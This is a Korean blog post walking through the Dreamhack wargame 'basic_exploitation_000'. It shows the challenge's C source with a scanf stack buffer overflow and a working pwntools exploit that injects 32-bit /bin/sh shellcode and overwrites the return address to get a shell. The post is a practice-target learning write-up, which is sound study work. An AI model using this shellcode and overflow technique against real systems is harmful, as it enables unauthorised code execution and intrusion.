[포너블] Basic exploitation

Chris Kim·2024년 10월 14일

시스템해킹

목록 보기
8/33

워게임 출처: 드림핵

1. 목표

이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_000)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요.

2. 소스 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT"); 
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

2.1 void main(int main(int argc, char *argv[])

0x80 길이를 갖는 buf가 선언되고 initialize()함수를 실행한다. 친절하게 buf의 메모리주소가 출력된다. 이후 141글자까지 scanf로 입력받아 buf에 저장한다. scanf함수가 buf보다 긴 길이를 입력으로 받아 buf에 저장하므로, 버퍼 오버플로우를 통해 셸을 획득하면 된다.

2.2 void alarm_handler(), void initialize()

입출력 초기화 후, 일정시간(30초)이 지나면 "TIME OUT" 메시지와 함꼐 프로그램을 비정상(-1) 종료한다.

3. 익스플로잇

buf 메모리주소 획득


몇번 실행시켜보니 실제로 buf의 메모리 주소를 출력시켜주는데, 항상 같지는 않다.

코드

from pwn import *

p = remote("host3.dreamhack.games", 21652)

context.log_level='debug'



ret = int(p.recv()[7:17], 16)
print(ret)
shell=b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'

payload=shell
payload+=b'A'*106 + p32(ret)
p.sendline(payload)
p.interactive()
profile
회계+IT=???

0개의 댓글